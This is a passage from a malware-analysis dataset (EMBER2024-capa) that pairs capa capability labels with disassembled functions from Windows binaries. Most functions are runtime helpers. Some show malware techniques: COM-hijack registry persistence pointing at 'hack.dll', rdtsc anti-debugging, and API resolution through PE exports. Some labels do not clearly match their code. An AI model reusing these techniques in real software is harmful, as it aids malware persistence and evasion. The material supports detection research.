joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444b20
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x444cdc
push rbp
mov rbp, rsp
sub rsp, 0x10
mov edx, dword [rax + 0x188]
mov esi, dword [rax + 0x18c]
mov rdi, qword [rax + 0x990]
mov r8d, dword [rax + 0x18c]
cmp r8d, esi
jne 0x444b32
cmp esi, edx
jne 0x444cca
nop dword [rax]
test rdi, rdi
jne 0x444cca
test rbx, rbx
jne 0x444b94
mov qword [rsp + 0x20], rax
nop
call fcn.0046e740
xorps xmm15, xmm15
mov r14, qword [0x009c8a68]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x20]
mov edx, dword [rax + 0x22a8]
test edx, edx
jne 0x444bf1
mov ecx, dword [rax]
mov edx, ecx
sar edx, 0x1f
shr edx, 0x1b
add edx, ecx
mov esi, edx
and edx, 0xffffffe0
sub ecx, edx
test ecx, ecx
jl 0x444cc5
mov rdx, qword [0x00983808]
sar esi, 5
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and r8d, edi
cmp rdx, rsi
jbe 0x444cb9
mov rdx, qword [0x00983800]
lea rdx, [rdx + rsi*4]
not r8d
lock and dword [rdx], r8d
mov ecx, dword [rax]
mov edx, ecx
sar edx, 0x1f
shr edx, 0x1b
add edx, ecx
mov esi, edx
and edx, 0xffffffe0
sub ecx, edx
test ecx, ecx
jl 0x444cb4
mov rdx, qword [0x009837e8]
sar esi, 5
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and r8d, edi
cmp rdx, rsi
jbe 0x444ca9
mov rcx, qword [0x009837e0]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], r8d
mov rcx, qword [0x009850b0]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x009850b0], rax
nop
mov edx, 1
lea rsi, [0x009850b8]
lock xadd dword [rsi], edx
nop
mov rdx, qword [rcx + 0x1230]
shr rdx, 0x3d
test dl, dl
jne 0x444c98
movabs rdx, 0x1fffffffffffffff
and rdx, rbx
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1230], rdx
mov rax, rbx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004fc8ad]
mov ebx, 0x28
call fcn.004656e0
mov rax, rsi
mov rcx, rdx
call fcn.0046ce40
call fcn.004333a0
mov rax, rsi
mov rcx, rdx
nop
call fcn.0046ce40
call fcn.004333a0
lea rax, [0x004fb785]
mov ebx, 0x23
call fcn.004656e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046ab60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00444b20
Function at 0x45bd20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45bdc3
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.00458660
nop
test bl, bl
je 0x45bdbd
mov qword [rsp + 0x18], rax
lea rcx, [0x0045be00]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.0046aa40
xorps xmm15, xmm15
mov r14, qword [0x009c8a68]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0046ab60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.0045bd20

Function at 0x467dc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x467f37
movzx edx, byte [rax]
test edx, edx
jne 0x467df4
nop dword [rax]
test r8b, r8b
jne 0x467df4
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x467e07
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x467ef7
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x467ee5
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x467ed7
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x467e5d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x467ea0
mov eax, 1
cmp rax, rbx
ja 0x467e8b
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.0046cf00
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x467ecf
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x467e93
mov rcx, r11
mov eax, r12d
jmp 0x467e62
mov rcx, rbx
call fcn.0046ce40
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.0046ce40
mov eax, r8d
mov rcx, rbx
call fcn.0046cf00
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x467f2d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x467ef0
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x467e0d
mov eax, edx
mov rcx, rbx
call fcn.0046ce40
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.0046ce40
nop
int3
Function at 0x469440
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4694ef
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00455d20]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0046aa40
xorps xmm15, xmm15
mov r14, qword [0x009c8a68]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0046ab60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00469440
Function at 0x140001820
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400077a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400077a0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001890
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000c0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001a40
mov rax, qword [0x14000c0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400018dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001967
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1400018c0
mov rcx, r12
call fcn.140002340
mov rbp, rax
test rax, rax
je 0x140001a9d
mov rax, qword [0x14000c0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140002470
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000c0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a82
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001960
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400019f0
add dword [0x14000c0a4], 1
cmp ebx, 8
jae 0x140001998
test bl, 4
jne 0x140001a50
test ebx, ebx
je 0x140001989
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001a70
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001989
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400019ca
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000c0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001960
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001820
xor edi, edi
jmp 0x1400018e7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001989
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001989
mov rax, qword [0x14000c0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001820
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001820
nop
nop dword [rax]
Function at 0x140001fb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000c100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140002004
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001ffb
test r12, r12
je 0x140001ffb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fe0
lea rcx, [0x14000c100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140009740]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023b9
mov rcx, r10
call fcn.140002210
test eax, eax
je 0x1400023b9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023b6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023ad
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023b9
add r8, 0x28
cmp r8, r9
jne 0x140002398
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140007a00
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001600
mov qword [rbp - 0x20], 0
lea rax, str.SoftwareClassesCLSID8369AB20_56C9_11D0_94E8_00AA0059CE02InprocServer32
mov qword [rbp - 8], rax
lea rax, str.Z:hack.dll
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x40], 0
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20007
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
jne 0x140007adc
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, eax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x140007aed
lea rcx, str.cannot_create_subkey_value_:__n
call fcn.1400079a0
mov eax, 0xffffffff
add rsp, 0x70
pop rbp
ret
Function at 0x140001125
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x140001148
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0xffffffff9f345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x140001173
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x14000116c
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140005100
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x250
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x260]
call fcn.140006690
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000d7f0
add rsp, 0x250
pop rdi
ret
Function at 0x140005690
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x168
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x158], rax
lea r8, [0x14000f7d8]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x118]
call fcn.14000a660
nop
lea rcx, [rsp + 0xf8]
call fcn.1400066e0
nop
mov rcx, qword [rsp + 0x178]
call fcn.140006020
movzx eax, al
test eax, eax
je 0x140005714
lea rdx, [0x14000f800]
lea rcx, [rsp + 0xf8]
call fcn.140006500
jmp 0x140005809
mov rcx, qword [rsp + 0x178]
call fcn.140006260
dec rax
mov r9d, 1
mov r8, rax
lea rdx, [rsp + 0x138]
mov rcx, qword [rsp + 0x178]
call fcn.140005fb0
nop
lea rdx, [0x14000f828]
lea rcx, [rsp + 0x138]
call fcn.14000a7d0
movzx eax, al
test eax, eax
jne 0x140005779
lea rdx, [0x14000f7bc]
lea rcx, [rsp + 0x138]
call fcn.14000a7d0
movzx eax, al
test eax, eax
je 0x1400057bb
lea r8, str.remote_config_data
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0xb8]
call fcn.14000a660
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xf8]
call fcn.140006560
lea rcx, [rsp + 0xb8]
call fcn.140006530
jmp 0x1400057fc
lea r8, str._remote_config_data
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0xd8]
call fcn.14000a660
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0xf8]
call fcn.140006560
lea rcx, [rsp + 0xd8]
call fcn.140006530
nop
lea rcx, [rsp + 0x138]
call fcn.140006530
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x58]
call fcn.14000a5e0
nop
lea rcx, [rsp + 0x58]
call fcn.140004a40
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x58]
call fcn.140004380
cmp qword [rsp + 0x38], 0x40
jae 0x14000586a
mov byte [rsp + 0x21], 0
lea rcx, [rsp + 0xf8]
call fcn.140006530
nop
lea rcx, [rsp + 0x118]
call fcn.140006530
movzx eax, byte [rsp + 0x21]
jmp 0x140005942
lea rcx, [rsp + 0xf8]
call fcn.140006280
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x118]
call fcn.140006280
mov qword [rsp + 0x48], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400058ac
mov byte [rsp + 0x20], 1
jmp 0x1400058b1
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x22], al
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x78]
call fcn.14000a5e0
nop
lea rcx, [rsp + 0x78]
call fcn.140004aa0
nop
lea rcx, [rsp + 0x78]
call fcn.140004380
xor r8d, r8d
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x98]
call fcn.14000a5e0
nop
lea rcx, [rsp + 0x98]
call fcn.140004aa0
nop
lea rcx, [rsp + 0x98]
call fcn.140004380
movzx eax, byte [rsp + 0x22]
mov byte [rsp + 0x23], al
lea rcx, [rsp + 0xf8]
call fcn.140006530
nop
lea rcx, [rsp + 0x118]
call fcn.140006530
movzx eax, byte [rsp + 0x23]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.14000d7f0
add rsp, 0x168
ret
Function at 0x1400097f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14000982d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x140009834
mov al, 1
jmp 0x140009986
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
call fcn.140009c20
mov word [rsp + 0x30], ax
movzx edx, word [rsp + 0x30]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x48]
mov word [rsp + 0x32], ax
call fcn.140009c20
mov word [rsp + 0x34], ax
lea rdx, [rsp + 0x32]
lea rcx, [rsp + 0x34]
call fcn.140009ca0
movzx eax, al
test eax, eax
je 0x14000988f
xor al, al
jmp 0x140009986
mov qword [rsp + 0x58], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x88]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x68]
mov rdx, rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x1400098ff
cmp dword [rsp + 0x38], 1
je 0x14000990b
cmp dword [rsp + 0x38], 3
je 0x140009980
jmp 0x140009984
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x72], 0
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x140009957
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x140009957
xor al, al
jmp 0x140009986
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x140009971
mov dword [rsp + 0x3c], 1
jmp 0x140009979
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
jmp 0x140009986
mov al, 1
jmp 0x140009986
xor al, al
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14000d7f0
add rsp, 0xa8
ret
Function at 0x368ad190a
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
add rax, 0x18
mov rdx, rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
add rax, rdx
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0
jmp 0x368ad1a16
mov edx, dword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov rdx, rax
lea rax, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x368ad1a12
mov edx, dword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov edx, dword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov edx, dword [rax + 0x10]
mov rax, qword [rbp + 0x20]
mov dword [rax], edx
mov dword [rbp - 4], 1
jmp 0x368ad1a2a
add dword [rbp - 8], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 8], eax
jb 0x368ad1983
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret

Function at 0x368ad60e8
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
cmp qword [rbp + 0x10], 0
jne 0x368ad6102
mov eax, 0
jmp 0x368ad616c
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x368ad611e
mov eax, 0
jmp 0x368ad616c
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x368ad6147
mov eax, 0
jmp 0x368ad616c
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + 0x16]
mov word [rbp - 0x12], ax
movzx eax, word [rbp - 0x12]
and eax, 0x2000
test eax, eax
jne 0x368ad6167
mov eax, 0
jmp 0x368ad616c
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x368ad6396
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov eax, r8d
mov word [rbp + 0x20], ax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.368ad60e8
test eax, eax
jne 0x368ad63c6
mov eax, 0
jmp 0x368ad656f
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
add rax, 0x88
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 4]
test eax, eax
je 0x368ad6406
mov rax, qword [rbp - 0x28]
mov eax, dword [rax]
test eax, eax
jne 0x368ad6410
mov eax, 0
jmp 0x368ad656f
mov rax, qword [rbp - 0x28]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 4]
mov dword [rbp - 0x34], eax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x50], rax
mov qword [rbp - 8], 0
cmp dword [rbp + 0x18], 0
je 0x368ad64fc
mov dword [rbp - 0xc], 0
jmp 0x368ad64ee
mov eax, dword [rbp - 0xc]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rcx, rax
call fcn.368ad9a1c
cmp dword [rbp + 0x18], eax
jne 0x368ad64ea
mov eax, dword [rbp - 0xc]
lea rdx, [rax + rax]
mov rax, qword [rbp - 0x50]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x368ad6529
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rbp - 0xc], eax
jb 0x368ad6484
jmp 0x368ad6529
movzx edx, word [rbp + 0x20]
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x10]
